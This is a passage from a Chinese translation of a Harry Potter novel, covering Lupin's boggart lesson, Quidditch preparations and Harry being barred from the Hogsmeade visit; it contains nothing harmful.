“你在说什么呀?”哈利恼怒地说,但就在这个时侯,斯内普叫道:“现在,你们应该都加完各种成分了。这服药剂要煮了才能喝,药滚的时候收拾好东西,然后我们要试验隆巴顿的...” 克拉布和高尔公然大笑起来,看着纳威满头大汗,使劲搅拌他的药剂。赫敏用嘴角向他发布指示,免得让斯内普看见。哈利和罗恩收拾好他们没有用过的各种配方成分,然后到教室角落的石制水槽里去清洗手和勺子。 “马尔福说那话是什么意思?”哈利向罗恩咕哝道,那时他正把手伸到从滴水兽嘴流下来的冰冷的水下面。“我为什么要找布莱克报仇呢?他没有对我做过什么——至今没有。” “他在编造呢,”罗恩狂怒地说,“他想让你做傻事...” 马上要下课了,斯内普踱到纳威身旁,纳威正畏缩在他的坩埚旁。 “大家都走拢来,”斯内普说,他的黑眼睛发亮,“来看隆巴顿的蟾蜍会怎么样。如果他做成了缩身药剂,他的蟾蜍就会缩成蝌蚪。如果他做错了,我对这一点儿没有怀疑,蟾蜍就会中毒而死。” 格兰芬多的学生害怕地看着;斯莱特林的学生兴奋地看着。斯内普左手拿着蟾蜍莱福,将一把小匙放到纳威的药剂里去,这药剂现在已经是绿色的了。他灌了几滴到了莱福喉咙里。 片刻静寂,此时莱福大口喘气。然后轻轻的噗的一声,蝌蚪莱福便在斯内普手掌上扭动了。 格兰芬多的学生鼓起掌来。斯内普一脸酸酸的样子,从长袍口袋里抽出一个小瓶子,倒了几滴在莱福身上,它突然重新出现,完全是只成年蟾蜍。 “扣格兰芬多五分。”斯内普说,这句活抹去了大家脸上的笑容。“我告诉你别帮助他,格兰杰小姐。下课。” 哈利、罗恩和赫敏爬上楼梯到了前厅。哈利仍旧在想马尔福的话,而罗恩因为斯内普的行为还在激动。 “扣格兰芬多五分,就因为那药剂对头!你为什么不撒谎呢,赫敏?你应该说就是纳威自己做的!”赫敏没有回答。罗恩向四面看。“她到哪里去了?” 哈利也转过身来。现在他们站在楼梯的顶端,眼看着班上其余同学在他们身旁走过,走向大厅去吃午饭。 “她刚刚就在我们后面的。”罗恩皱着眉头说。 马尔福走过他们身旁,走在克拉布和高尔之间。他对哈利假笑了一下,然后就不见了。 “她在那里。”哈利说。 赫敏略有些喘,急急忙忙地上了楼梯。她一手抓住书包,另一手似乎在把什么东西塞到她袍子的前襟下面。 “你怎么做到这一点的?”罗恩问。 “什么?”赫敏说,和他们一起走。 “前一分钟你在我们后面,现在你又在楼梯下面了。” “什么?”赫敏有一点弄不清的样子,“哦——我必须回去取东西。哦,不...” 赫敏书包裂了一道缝。哈利并不惊讶,他可以看到她书包里至少有十二本又大又沉的书。 “你干吗随身带这么多书?”罗恩问她。 “你知道我要上多少课。”赫敏喘不过气似的说,“帮我带几本,行吗?” “不过——”罗恩翻转她递给他的几本书,在看书的封面——“今天你不用上这几门课呀。今天下午只有黑魔法防御术课。” “哦,是的。”赫敏含糊地说,但她把所有的书都放回她自己的书包里去了。 “我希望午饭有些好东西吃,我饿死了。”她加了一句,然后她大步走向大厅去了。 “你是不是觉得赫敏有些什么事没告诉我们吗?”罗恩问哈利。 他们到了卢平教授的第一堂黑魔法防御术课的教室里时,卢平教授没在那里。他们都坐了下来,拿出书本、羽毛笔和羊皮纸。 卢平最后终于走进教室的时候,他们正在谈天。卢平微微一笑,把他那破破烂烂的手提箱放在讲桌上。 他和来时一样地褴褛,但比在火车上的时候看起来健康些,好像是因为他结结实实地吃过几顿饭的缘故。 “下午好,”他说,“请把书都放回到书包里去。今天是实践课,你们只需要魔杖。” 全班都把书放回了书包,有几个学生交换了惊奇的眼色。他们还从来没有上过黑魔法防御术的实践课,除非把去年那可纪念的一课也算在里边,那堂课上,原来的教师带来了一笼子小妖精,而且把它们都放了出来。 “那么,”教授看到大家都已经准备好了,就说,“你们跟着我好吗?” 全班感到迷惑,但也觉得有兴趣,都站了起来,跟卢平教授走出教室。他带领他们沿着没有人的走廊走去,转了个弯。在那里,他们首先看到的是捉弄人的皮皮鬼,正脑袋朝下地浮在半空之中,而且正在把口香糖塞进离他最近的钥匙眼里。 直到卢平教授走到离皮皮鬼两英尺时,他才抬头往上看,然后他扭动着脚趾蜷曲的脚,唱起来了。 “又笨又糊涂的卢平,”皮皮鬼唱道,“又笨又糊涂的卢平,又笨又糊涂的卢平—— ” 皮皮鬼一贯粗鲁无礼,又难以管辖,但他通常对教师还有几分尊重。大家都迅速把目光转向教授,看他怎么对待;让他们吃惊的是,他仍然在微笑。 “要我是你的话,皮皮鬼,我会把口香糖从钥匙眼里拿出来的,”卢平愉快地说,“费尔奇先生没法进去拿扫帚了。” 费尔奇是霍格沃茨的看管人,是个脾气坏、没学成的巫师,永远和学生作对,也和皮皮鬼作对。然而,皮皮鬼对卢平教授的话不理不睬,只是响亮地吹出了一个湿木莓。 卢平教授略略叹了口气,拿出他的魔杖。 “这是句有用的小咒语,”他回过头来对全班学生说,“请看好了。” 他举起魔杖,举到肩部那么高,说:“瓦迪瓦西!”然后指着皮皮鬼。 那小块口香糖就像子弹一样从钥匙孔里射出来了,而且直接射进了皮皮鬼左边的鼻孔里;皮皮鬼立即急急转开去了,而且陡直上升,一路诅咒着。 “真棒,先生!”迪安·托马斯惊奇地说。 “谢谢你,迪安。”卢平教授说,又收起了魔杖。“我们继续走吧?” 他们又走了下去,全班看着这位衣着槛褛的教授,增加了敬意。他带领他们走进第二条走廊,停住了,正停在□□休息室外边。 “请进去。”卢平教授说,打开门,向后退了一步。 □□休息室是一间长长的、放满了不成套的旧椅子的地方,只有一位教师在那里:斯内普教授坐在一张低矮的扶手椅上,这个班的学生进来时,他四面张望着。他眼睛发亮,唇边挂着讥讽的微笑。 卢平教授进来后,关上身后的门,这时,斯内普说:“别关上,卢平。我还是别看的好。” 他站起来,从全班学生面前踱过,黑袍在他身后飘动着。到了门廊,他转身说:“卢平,可能没有人警告过你,但是纳威·隆巴顿在这个班级。我劝你别叫他做任何难做的事情,除非格兰杰小姐在他耳边低声发出指示。” 纳威满脸通红。哈利瞪着斯内普:他在自己班上欺负纳威,这已经够糟的了,更别提是当着其他教师的面这样做。 卢平教授扬起了眉毛。 “我原是希望纳威来协助我,做我第一阶段操作的助手的,”他说。“我肯定他会做好的。” 要是可能的话,纳威的脸现在更红了。斯内普的嘴唇皱了起来,但是他离开了,用力关上了门。 “现在,这样,”卢平教授说,招手示意全班学生走到休息室尽头。那里什么也没有,只有一个旧衣柜,那是□□们放富余袍子的地方。卢平教授走到这个衣柜旁边立定,衣柜突然摇晃起来,砰砰地碰着墙。 “不用担心。”卢平教授镇静地说,因为这时有几名学生吓得跳回去了。“里面有个博格特。” 多数人觉得的确需要担心。纳威向卢平教授看了一眼,目光里全是恐惧,西莫·斐尼甘害怕地偷眼看,那现在摇晃不已的柜门把手。 “博格特喜欢黑暗、封闭的空间,”卢平教授说,“衣柜、床底下的空隙、水槽下面的碗橱——有一次我遇到了一个藏在祖辈的老钟里面。这一个是昨天下午搬进来的,我请示校长,问□□们是否可以不去惊动它,让我的三年级学生有一些实践机会。 “所以,我们必须向自己发问的第一个问题是,博格特是什么东西?” 赫敏举手。“它是变形的东西,”她说,“它可以呈现为它认为最能吓唬我们的任何形象。” “我自己也不能说得更好了,”卢平教授说,赫敏很得意,“所以说,衣柜里面.坐在黑暗之中的那个博格特还没有呈现为任何形象。它还不知道什么东西能吓住门外边的人。谁也不知道博格特独处时是什么样子,但是等到我把它放出来的时候,它就会马上变成我们每个人最害怕的东西。 “这就意味着,”卢平教授说,故意不去理睬纳威发出来的、表示恐惧的轻微声音,“在我们开始以前,我们对于博格特来说,有着巨大的优势。你找到这种优势了吗,哈利?” 赫敏坐在哈利旁边,踮着脚跳上跳下。她的手又举了起来。在这种情况下,要回答问题是使人困窘的,不过哈利不能不回答。 “哦——因为我们人多,它不知道应该变成什么样子,是这样吗?” “一点不错。”卢平教授说,赫敏放下了手,看上去有点失望的样子。“跟博格特打交道时,最好的办法就是要人多。它就糊涂了。它应该变成什么样子呢?是没有脑袋的尸体,还是食肉的鼻涕虫?有一次我就看到一个搏格特犯了这样的错误——想要同时吓两个人,于是把自己变成了半截鼻涕虫。一点也不吓人。 “击退博格特的咒语是简单的,但需要意志力。你们知道,真正吓退博格特的是大笑。你们必须做的只是强迫它变成你认为可笑的形象。 “我们先不用魔杖就来说一下这句咒语。请跟我说...滑稽滑稽!” “滑稽滑稽!”全班齐声说。 “好,”卢平教授说,“很好。但是,恐怕这只是容易的部分。你们知道,单说这句咒语是不够的。这就看你的了,纳威。” 那衣柜又抖动起来,不过还没有纳威抖得厉害,纳威往前走的时候,就像是去上绞刑架。 “好,纳威,”卢平教授说,“第一件事:你说,世界上你最怕什么?” 纳威的嘴唇动着, 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“好,”卢平教授说,“你能把这些衣服描摹得很详细吗,纳威?你脑子里能看见这些衣服吗?” “能。”纳威茫然回答道,显然不知道下一步会发生什么事。 “等到博格特从衣柜里冲出来的时候,纳威,而且看见你的时候,它就会呈现出斯内普教授的样子。”卢平说,“你呢,要拿起魔杖——这样拿——而且大叫‘滑稽滑稽’——并且努力集中注意力,想着你祖母的衣服。如果一切顺利,博格特斯内普教授就会被迫变成一个头载顶上有老雕标本的帽子、身穿绿色衣服、手提红色大手袋的人。” 全班大笑。那衣柜摇晃得更厉害了。 “如果纳威成功了,这个博格特可能就会把注意力轮流转向你们每一个人。”卢平教授说,“现在,我希望你们每一个人都拿出一点时间来,想一想你最怕的是什么,再想象一下你怎样才能强迫它变成看上去可笑的东西...” 房间里很安静。哈利想着...世界上什么东西最让他害怕?他首先想到的是伏地魔——眼前出现了和真人一般大小的伏地魔。但是,在他还没来得及哪怕只是开始计划,对博格特或者伏地魔进行反击,他脑子里就已经浮现出一个可怕的形象——黑斗篷下面摇摇摆摆地滑动着的一只腐烂的、发光的手...从一张看不见的嘴里呼出来的一口长长的、颤抖的气...然后是一阵冷气,它的渗透力如此之强,好像整个人都淹没在冰水里一样... 哈利颤抖起来,然后向四面看看,希望没有人注意到他。许多同学都紧闭双眼,罗恩在自己咕哝着:“把它的腿拿掉。” 哈利知道罗恩在说什么:罗恩最怕的东西是蜘蛛。 “大家都准备好了吗?”卢平教授问。 哈利感到一阵恐惧。他没有准备好。你怎么能够让摄魂怪变得不那么可怕呢?但是他不想要求有更多的时间;其他人都在点头并且卷起了袖子。 “纳威,我们要后退了,”卢平教授说,“让你有一片空地,好不好?我会叫下一个人上前的...现在,大家靠后,让纳威有一块空阔的地方——” 大家都向后退,退到墙边,让纳威一个人站在衣柜旁边。纳威脸色苍白。很害怕的样子,但他已经卷起了长袍的衣袖,也握好了魔杖。 “我数到三,纳威,”卢平教授说,他也把自己的魔杖指着那个衣柜,“一——二——三——开始!” 教授的魔杖末端进射出一阵火花,火花打中了衣柜门的把手。衣柜门冲开了。鹰钩鼻子、一脸威胁神态的斯内普教授走了出来,双目炯炯地注视着纳威。 纳威往后退,他的魔杖举了起来,张口结舌,说不出话来。斯内普气势汹汹地朝他逼过来,把手伸进了他的长袍。 “滑——滑稽滑稽!”纳威尖声叫道。 一阵噪音,像是挥动鞭子的声音。斯内普绊了一下:他身穿一件长长的、绣着花边的女服,头戴高帽,帽顶上有个已经被虫蛀的老雕标本,手里晃荡着一个巨大的猩红色手袋。 全班轰然大笑。这个博格特停了一下,不知所措。卢平教授大声喊道:“帕瓦蒂,上前!” 帕瓦蒂向前走去,脸板着。斯内普绕着她走了一圈。又有一声爆裂声,斯内普站过的地方现在是一个用绷带包裹着、血迹斑斑的木乃伊;它那双没有视力的眼睛转向帕瓦蒂,开始向她走来,很慢很慢地,拖着脚,僵硬的双臂举了起来—— “滑稽滑稽!”帕瓦蒂大叫。 木乃伊双脚上的绷带解开了;它被散开的绷带弄得磕磕绊绊的,脸向前跌倒在地,它的脑袋滚下来了。 “西莫!”卢平教授叫道。 西莫急忙越过帕瓦蒂上前。 啪!木乃伊待过的地方现在是一个妇女,黑发一直拖到地上,一张脸只有骨架,还绿阴阴的——一个女鬼。 她大张着嘴。一种非人的声音充满整个房间,一种漫长凄厉的叫声使哈利毛骨悚然—— “滑稽滑稽!”西莫嚷道。 女鬼发出一种撕裂的声音,抓住自己的喉咙,她的声音就没有了。 啪!女鬼变成了一只耗子,转着圈子找自己的尾巴,然后——啪!变成一条响尾蛇,蜿蜒地滑行并且扭曲着——然后——啪!它又变成一只血淋淋的眼球。 “它已经昏了头了!”卢平教授叫遭,“我们又前进了一步!迪安!” 迪安连忙向前。 啪!眼球变成一只切下来的手,这只手一蹦一蹦地跳跃着,还开始沿着地板爬行,好像一只螃蟹。 “滑稽滑稽!”迪安大叫。 一声脆响,这只手被耗子夹夹住了。 “太妙了!罗恩,你是下一个!” 罗恩一步跳向前。 啪!好几个人尖叫起来。一只巨大的蜘蛛,六英尺高,浑身是毛,正向罗恩爬来,一路上威胁地舞动着钩爪。有一会儿工夫。哈利觉得罗恩吓得不能动弹了。然后—— “滑稽滑稽!”罗恩吼道,于是蜘蛛的腿不见了。蜘蛛不停地翻滚着。拉文德·布朗尖叫着躲开,蜘蛛滚着滚着,滚到哈利脚边停了下来。他举起魔杖,准备好,但是—— “停!”卢平教授突然大喝道,一面向前赶去。 啪!没有腿的蜘蛛消失了。有一秒钟工夫,大家都四处张望,看它在哪里。然后他们看见卢平面前的空中悬挂着一个银白色的球体,卢平几乎是懒洋洋地说了声:“滑稽滑稽!” 啪!“到前面来,纳威,把它结果了!”卢平说,这时那博格特落在地板上,变成一只蟑螂。 啪!斯内普又回来了。这次纳威一脸决心地往前冲。 “滑稽滑稽!”他大叫道,不到一秒钟工夫,穿花边女服的斯内普出现在纳威面前,纳威大笑一声:“哈!” 于是,这个博格特炸开了,炸成千缕轻烟,消失了。 “太妙了!”卢平教授叫道,这时全班鼓起掌来。“太棒了,纳威。干得好,大家伙儿。让我看...给格兰芬多加五分,因为每个人都对付了博格特——给纳威加十分,因为他干了两次——哈利和赫敏每人加五分。” “不过我什么也没有做啊。”哈利说。 “你和赫敏在本课开始时,就都正确地回答了我的问题,哈利。”卢平轻松地说,“很好,大家都好,极棒的一课。家庭作业,请读关于博格特的那一章,并且写篇提要...星期一交。没有了。” 整个班级兴奋地交谈着离开了□□休息室。然而,哈利并不高兴。 卢平教授有意不让他对付博格特。为什么?难道是因为他在火车上看到哈利休克,就此认为哈利不能承受太多的恐慌吗?他是不是以为哈利又会昏过去呢?但是,似乎准也没有注意到什么。 “你看见我对付女鬼了吗?”西莫大叫。 “还有那只手!”迪安说,挥动着自己的手。 “还有戴着那顶帽子的斯内普!” “还有我的木乃伊!” “我不知道,卢平教授为什么害怕水晶球?”拉文德沉思着说。 “这是我们上过的最精彩的黑魔法防御术课,对不对?”罗恩兴奋地说,这时他们正走回教室去取书包。 “他好像是位很好的老师,”赫敏赞许地说,“但是我希望我能和博格特交手——” “你怕的是什么呢?”罗恩窃笑着说,“太过简单的家庭作业吗?” 46.逃走的胖夫人 很快,黑魔法防御术就成为多数人喜爱的一门课了。只有德拉科·马尔福和他那一帮子斯莱特林的人说卢平教授的坏话。 “看看他的袍子,”卢平教授走过的时候,马尔福会大声说,“他穿得像我们家里的家养小精灵。” 但除了他们以外,没有人在意卢平教授的袍子有补丁又毛了边:他以后的几堂课,都和第一堂课一样地生动有趣。 在博格特以后,他们研究了红帽子,这是一种妖怪一样令人不愉快的小家伙,什么地方有谁流血了,它们就在什么地方潜伏着。在城堡主楼里,在荒无人迹的战场的坑洼里,它们随时准备着,向那些迷路的人发起猛烈攻击。 他们从红帽子又到了卡巴,这是一种爬行的水生动物,看上去像有鳞的猴子,双手有蹼,随时要扼死那些不知深浅、胆敢走在它们池塘里的涉水者。 哈利但愿自己对其他课程也这样感兴趣。最糟的是魔药课。这些天来,斯内普特别想报复,大家都清楚这是为什么。关于博格特现形为斯内普,纳威让它穿上他祖母的衣服这个故事,在校园里不胫而走,传得飞快。斯内普似乎并不觉得这有什么好笑。一提到卢平教授的名字,他的眼睛里就闪现着威胁的光芒。他现在比以前更加欺负纳威了。 哈利也越来越怕在特里劳妮教授那里,那令人窒息的占卜课教室里上课,在那里他们要解读各种倾斜的形状和象征,每次特里劳妮教授那双大眼睛泪汪汪地看着他的时候,他都要假装不在意。 他没法喜欢特里劳妮教授,尽管班上多数学生尊敬她,甚至还有点敬畏。帕瓦蒂·帕蒂尔和拉文德·布朗喜欢在午饭时分到特里劳妮教授的教室去,回来的时候,总是一脸令人心烦的优越感,好像她们知道了别人不知道的事情一样。 不管什么时候,只要她们对哈利说话,她们的声音就变得轻轻的,就好像他已经停尸在床了。 没有人真的喜欢保护神奇生物课,这门课在充满行动的第一课以后.变得十分沉闷。海格好像失去了信心。现在他们一课又一课地学习如何照顾弗洛伯毛虫,它们一定是现有的最烦人的生物。 “为什么有人要去烦神照顾它们呢?”罗恩在又花了一个小时,把切细的莴苣往弗洛伯毛虫黏滑的喉咙里塞的时候这样说。 然而,十月初,哈利有了让他专心的事情,这类事情很有趣,足以弥补他那些没上好的课给他带来的烦恼:魁地奇季节赛临近了,一个星期二晚上,格兰芬多队的队长奥利弗·伍德召集了一次会议,讨论新季节的战术。 一个魁地奇队有七名队员:三名追球手,他们的任务是把鬼飞球(一个足球大小的红色球),投进球场两端五十英尺高的环形圈里去而得分;两名击球手,他们装备有厚重的球拍以便抵挡游走球(两个发出嗡嗡声四处飞舞、伺机攻击球员的沉重黑球);一名守门员,他守卫球门;还有一名找球手,他的任务最困难,他要寻找并抓到金色飞贼,这是一个带翼的、胡桃大小的小球,抓住它比赛就结束了,得到这个小球的队伍就可以额外加一百五十分。 奥利弗·伍德是个粗壮结实的十七岁少年,现在上七年级,这也是他在霍格沃茨的最后一年。在越来越暗的魁地奇球场边上寒冷的更衣室里,他对他的六名队友说着话,声音里带着一种静静的绝望。 “这是我们赢得魁地奇杯的最后一次机会——我的最后一次机会,”他对队友们说,在他们面前大步走来走去,“今年年底我就要离开学校了。我再也不能在这里比赛了。 “到现在为止,格兰芬多已经七年没有赢了。好吧,我们过去运气极坏——受了伤——然后去年又取消了锦标赛...”伍德咽了一口口水,好像这番记忆仍旧能给他的喉咙带来硬块似的。 “但是我们也知道,我们有着本校——最佳——球队的称号。”他说,一手握拳,敲在另一只手上,眼睛里又闪现着昔日那种躁狂的光芒。 “我们有三名最佳追球手。” 伍德指着艾丽娅·斯平内特、安吉利娜·约翰逊和凯蒂·贝尔。“我们有两名战无不胜的击球手。” “别说了奥利弗,你弄得我们不好意思了。”弗雷德和乔治这两个韦斯莱兄弟一起说,假装脸红了起来。 “我们还有一名找球手,他总是能赢得比赛!”伍德低沉地说,以一种狂怒而骄傲的神气瞪眼看着哈利。 “还有我。”他加上,作为事后想起的内容。 “我们认为你也是很好的,奥利弗。”乔治说。 “极好的守门员。”弗雷德说。 “要点是,”伍德继续说,又大步走来走去,“过去两年的魁地奇杯上,本应该有我们队的名字。自从哈利加入我们队以来,我一直认为奖杯是我们手到擒来的东西。但是我们没有得到这个奖杯,今年是我们看到奖杯有我们名字的最后一次机会了...” 伍德说得那样情绪低落,就连弗雷德和乔治也不禁同情起他来了。 “奥利弗,今年是我们的幸运年。”弗雷德说。“我们会赢的,奥利弗!”安吉利娜说。“肯定的。”哈利说。 这支球队满怀信心地开始了训练,每周三次。天气越来越冷,越来越潮湿,夜晚也更加黑暗了。但是,不管有多少泥浆,有风还是有雨,都不能动摇哈利的美好的预见:他们队最终会赢得那个巨大的魁地奇银杯。 一天晚上,哈利在训练以后回到格兰芬多院的休息室,感到又冷又僵,但是对练习的情况还是很满意的,他发现休息室里的人们嗡嗡地谈论着什么,都很兴奋。 “发生了什么事?”他问罗恩和赫敏,这两个人坐在壁炉旁边最好的两个座位上,正在比较天文学课上的几张星象图。 “第一个霍格莫德周末,”罗恩指着那旧布告板上的一张通知说,“十月底。万圣节前夕。” “太棒了,”弗雷德说,他是跟着哈利走到肖像画上的洞里的,“我必须到佐科店去一下,我的臭弹快没了。” 哈利一屁股坐到罗恩旁边的一张椅子上,他亢奋的情绪渐渐消沉下去了。 赫敏似乎看穿了他的心思。“哈利,我敢说你下一次就能去了。”她说,“他们肯定很快就会抓住布莱克的,人家已经有一次看见他在什么地方了。” “布莱克不会笨到那样子,妄想在霍格莫德干点什么的。”罗恩说,“问问麦格这次你能不能去,哈利,下一次还不知道要等到什么时候——” “罗恩!”赫敏说,“哈利是应该待在学校里的——” “他不能是唯一一个留校的三年级学生,”罗恩说,“去问问麦格,去呀,哈利——” “对,我想我会去问的。”哈利下定决心说。 赫敏开口想说什么,但这时,克鲁克山轻快地跳到她的膝上,嘴里叼着一只很大的死蜘蛛。 “它一定要在我们面前吃东西吗?”罗恩咆哮道。 “聪明的克鲁克山,是你自己捉的吗?”赫敏说。 克鲁克山慢慢咀嚼着那只蜘蛛,它的黄眼睛盯着罗恩。 “就让它待在那儿,拜托了。”罗恩气呼呼地说,又去弄那张星象图了。“斑斑睡在我书包里呢。” 哈利打哈欠。他真想去睡觉,但他的星象图还没有完成。他把书包拉过来,拿出羊皮纸、墨水和羽毛笔,开始做作业。 “你要是愿意的话,可以抄我的。”罗恩说,一挥而就地标出他星象图上最后一颗星,然后把星象图推给哈利。 赫敏是不赞成抄袭的,因此她噘起嘴,但什么也没有说。 克鲁克山仍然眼睛一眨不眨地看着罗恩,一面轻轻摇动它那多毛的尾巴尖。然后,它一声不吭地来了个突然袭击。 “哦!”罗恩吼起来,一把抢过他的书包,这时,克鲁克山的四只爪子已经牢牢地抓住书包了,而且开始凶恶地撕咬起来。“放开,你这蠢畜生!” 罗恩努力把书包从克鲁克山爪子下面夺回来,但它紧抓不放,满嘴冒着细沫。 “罗恩,别伤害它!”赫敏尖叫道。整个休息室都在看热闹。罗恩拿着书包飞快地转了一圈,克鲁克山仍旧抓住不放,斑斑从书包顶端跳了出来—— “抓住那只猫!”罗恩大叫。这时,克鲁克山放开了书包,跳到桌子上,追赶那吓坏了的斑斑。 乔治·韦斯莱猛冲过去,想抓住克鲁克山,但是没抓着:斑斑在二十双腿之间飞跑,一下子就冲到一个五斗橱下边去了。克鲁克山猛然停住,低低地蹲着,开始用前爪狂怒地伸到五斗橱下面去掏。 罗恩和赫敏连忙跑过去。赫敏抓住克鲁克山的腰部,然后费力地举起它放到了别的地方。罗恩趴在地上,费了很大劲才抓住斑斑的尾巴,将它掩了出来。 “看看!”他狂怒地对赫敏说,一面拎着斑斑在她面前摇晃,“它已经皮包骨头了!你别让那只猫靠近它!” “克鲁克山并不知道它做错了呀!”赫敏说,声音发抖,“所有的猫都抓耗子,罗恩!” “这只畜生真有点怪!”罗恩说,一面努力说服那正在疯狂挣扎的斑斑回到他的书包里去。“它听见我说斑斑在我的书包里了!” “哦,这就胡说八道了,”赫敏不耐烦地说,“克鲁克山会嗅到它的气息的,罗恩,你以为它还会——” “那只猫就是盯着斑斑不放!”罗恩说,没有去理会周围的人,他们都开始笑起来。“斑斑是先在这里的,而且它病了!” 罗恩大步走过公共休息室,上楼到男生宿舍去了。 第二天,罗恩仍旧生赫敏的气。在整个草药课上,他几乎没有和赫敏说话,尽管他、哈利和赫敏是三人一组进行实验的。 “斑斑怎么样了?”赫敏胆怯地问道,此时他们正在剥豆荚,并且把发亮的豆子放到一只木桶里去。 “它躲在我床底下呢,一直在发抖。”罗恩生气地说,手一抖,没有投中,把豆子撒在了暖房地板上。 “当心,韦斯莱,当心!”斯普劳特教授嚷道,这时豆子就在他们眼前开花了。 下堂课是变形课。哈利下定决心要在课后问麦格教授,他到底能不能和大家一起到霍格莫德去,因此他就在教室排起了队,想着他应该怎么说。然而,队伍前面发生的骚乱让他分了心。 拉文德·布朗好像在哭。帕瓦蒂手臂环着她的肩,正在向西莫·斐尼甘和迪安·托马斯解释着什么,这两人都一本正经的。 “什么事呀,拉文德?”赫敏焦急地问道,这时,她、哈利和罗恩加入到了人群中。 “今天早上她接到家里的一封信,”帕瓦蒂悄声说道,“她的兔子宾基被狐狸咬死了。” “哦,”赫敏说,“真遗憾,拉文德。” “我早就应该知道的!”拉文德悲哀地说,“你们知道今天是什么日子吗?” “哦——” “十月十六日!‘你害怕的那件事,它会在十月十六日发生!’记得吗?她说得对,她说得对!” 现在,全班人都聚集在拉文德身边了。西莫严肃地摇着头。 赫敏迟疑着,然后她说:“你——你怕宾基被狐狸吃了吗?” “唔,不一定是被狐狸啊,”拉文德说,泪光盈盈地抬头看着赫敏,“但我显然担心它会死。是不是?” “哦。”赫敏说。她又停了一下。然后—— “宾基是只老兔子吗?” “不——不!”拉文德抽泣着说。“它还是只小兔呢!” 帕瓦蒂的手臂在拉文德的肩上围得更紧了。 “那你为什么怕它死呢?”赫敏说。 帕瓦蒂瞪着她。 “好吧,让我们来逻辑地看这个问题,”赫敏转向大家说,“我的意思是说,宾基甚至不是今天死的,对不对,拉文德今天才得到消息——” 拉文德大声哀哭起来。“——而且她不可能一直在担心这件事,因为这件事让她真正震惊——” “别理赫敏,拉文德。”罗恩大声说,“她认为别人的宠物都不要紧。” 这时,麦格教授打开了教室的门,幸而是在这个时刻打开,因为赫敏和罗恩两人正怒目相视,等到走进教室以后,这两人分别坐在哈利两旁。整个课上彼此都不和对方说话。 下课铃响了,哈利还是没有下定决心去问麦格教授,倒是她首先提起了霍格莫德这个话题。 “请等一会儿!”她叫道,因为整个班级都要离开教室了。“你们都是我这个学院的,你们应该在万圣节前夕以前把申请表交给我。不交表,就别去霍格莫德。所以啊,你们都别忘了!” 纳威举手。 “教授,我——我想我那份表丢掉了——” “你奶奶直接把表交给我了,隆巴顿,”麦格教授说,“她好像认为这样做放心些。好吧,没什么了。你们可以离开了。” “去问呀。”罗恩嘶声对哈利说。 “哦,不过——”赫敏开口说。 “去呀,哈利。”罗恩固执地说。 哈利等到大家都走了,才紧张地走到麦格教授的桌子面前。 “唔,波特?” 哈利深深地吸了口气。 “教授,我的姨妈和姨父——哦——忘了给我的申请表签名。”他说。 麦格教授从她的方形眼镜上方看着他,但是什么也没有说。 “那么——哦——您认为行不行——我意思是说——我能不能——要是我到霍格莫德去,行不行呢?” 麦格教授收回了目光,开始翻弄桌子上的纸张了。 “我怕是不行,波特,”她说,“你听到我刚才说什么了。不交表,就别去。这是规定。” “可是——教授,我的姨妈和姨父——您知道的,他们都是麻瓜啊,他们并不真正理解——理解霍格沃茨的表格和人员?”哈利说,罗恩在一边使劲点着头鼓励他。“如果您说我可以去——” “但是我不会这样说的。”麦格教授说。她站了起来,把她的纸张整齐地放到抽屉里。“申请表很明白地说,必须得到家长或者是监护人的同意。” 她回身看着他,脸上有一种古怪的表情。“我很抱歉,波特,但这是我的最后决定。你还是赶快走吧,要不然你下一课要迟到了。” 没法挽救了。罗恩骂了麦格教授许多难听的话,弄得赫敏很恼火。赫敏脸上露出“终于圆满了结了”的表情,让罗恩更加冒火。 班级里的同学纷纷高兴地大声谈论,他们一旦到了霍格莫德,首先就要做什么。对此,哈利只能默默忍受。 “总会有一场盛宴的,”罗恩说,想让哈利高兴起来,“你知道,万圣节前夕的晚宴。” “是啊,”哈利阴郁地说,“很棒的。” 万圣节盛宴总是很棒的,但是,如果哈利是和大家一起在霍格莫德待了一天之后,再参加这次盛宴,那这场盛宴的滋味无疑会好得多。不管谁说什么,都不能让哈利心情好一点。迪安·托马斯擅长使用羽毛笔,他曾提出让他在申请表上模仿弗农姨父的签字,但是哈利已经告诉麦格教授了,说他的那张表没有签字,再这样做就不会有什么好处。 罗恩半心半意地建议他穿隐形衣,但是赫敏对这个主意迎头痛击,她提醒罗恩说,邓布利多说过,摄魂怪是能够看透隐形衣的。珀西说的话则可能是最不能安慰哈利的了。 “他们一说到霍格莫德就大惊小怪的,但是我告诉你,哈利,那儿并不像人们说的那么好。”他认真地说,“那糖果店倒是相当好,但佐科笑话店简直就是危险的地方。对,还有那间尖叫棚屋倒是一直值得一看。不过说真的,哈利,除了这些地方以外,你没有错过什么了不得的东西。” 万圣节前夕的早晨,哈利和大家一起醒来下楼去吃早饭,他的心绪恶劣极了,不过表面上他尽量装得和平常一样。 “我们会从蜂蜜公爵那里给你带很多糖果回来的。”赫敏说,为他感到极其难过。 “是啊,带很多。”罗恩说。由于哈利情绪低落,他和赫敏终于忘了他们关于克鲁克山的争吵。 “别为我担心。”哈利说,他希望自己说得很随意的样子。“晚宴的时侯见面,玩个痛快。” 他陪他们到了前厅,看管人费尔奇站在大门里面,拿着一张长长的名单核对着一个个人,怀疑地看着每一个人的脸,提防着任何不应该去的人溜出去。 “留下来了,波特?”马尔福大叫道,他和克拉布、高尔都站在队伍里。“害怕遇到摄魂怪吗?” 哈利不理睬他,独自走上大理石楼梯,穿过没有人走动的走廊,回到格兰芬多塔楼。 “口令?”那胖夫人问道,她刚从小睡中醒来。 “吉星高照。”哈利无精打采地说。 肖像画打开了,他从洞里爬进去,进了公共休息室。那里满是一二年级的学生,都在谈笑,有几个大一点的学生显然去过很多次霍格莫德,对那里已经没有新鲜的感觉了。 “哈利!哈利!你好,哈利!”这是科林·克里维,二年级学生,极其敬佩哈利,凡有和哈利说话的机会,他从不放过。“你不去霍格莫德,是吗,哈利?为什么不去啊?嘿——” 科林急切地四处环顾着他的同学,“你愿意的话,来和我们坐在一起,好吗?” “哦——不,谢谢,科林。”哈利说,他不想让一大堆人眼巴巴地看着他额头上的伤疤。 “我—— 我必须到图书馆去,必须到那里去完成作业。” 这样说了之后,他别无选择,只能向后转。又从肖像画上的洞里出去了。 “干嘛老把我叫醒?”他走开以后,胖夫人追着他的背影叫道。哈利无精打采地走向图书馆,但在半路上改变了主意:他不想干正经事。 他回过身来,迎面遇到了费尔奇,他显然刚送走去霍格莫德的最后一批人。 “你在干吗?”费尔奇怀疑地问。 “没干嘛。”哈利老实说。 